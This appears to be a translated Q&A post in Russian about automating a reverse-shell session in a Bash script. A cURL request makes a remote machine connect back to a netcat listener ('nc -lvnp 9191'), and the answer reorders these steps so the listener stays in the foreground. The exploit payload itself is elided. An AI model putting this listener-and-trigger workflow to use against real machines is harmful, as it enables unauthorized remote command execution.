
Этот вопрос больше связан с информационной безопасностью, но я не могу найти обходного пути для автоматизации следующего процесса:
Есть команда cURL, которая запускает соединение с netcat. Без автоматизации я ввожу nc -lvnp 9191
, и вдругойтерминале я ввожу команду cURL, которая устанавливает обратное соединение с моей машиной через порт 9191, которое я затем могу использовать для выполнения некоторых команд на удаленной машине.
Я пытаюсь сделать что-то вроде этого в своем скрипте Bash:
nc -lvnp 9191&
curl ......
Netcat запускает прослушиватель, переходит в фоновый режим, cURL запускает соединение (я получаю обратно соединение), но netcat тут же закрывается.
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
Если я удалю nc -lvnp 9191&
из скрипта Bash и оставлю в нем только команду cURL, произойдет следующее:
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
Однако, как только я нажимаю «Enter», задание netcat немедленно приостанавливается:
[1] + 22609 suspended (tty input) nc -lvnp 9191
Мне нужно fg
возобновить работу в Netcat и продолжить работу, но я задавался вопросом, смогу ли я как-то спасти себя от всего этого.
решение1
Итак, обсудив это с кем-то, нам наконец удалось заставить это работать. Мы изменили местами строки, так что curl
сначала идет (но как фоновая работа), затем netcat
(без фона). Подход выглядит следующим образом:
(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191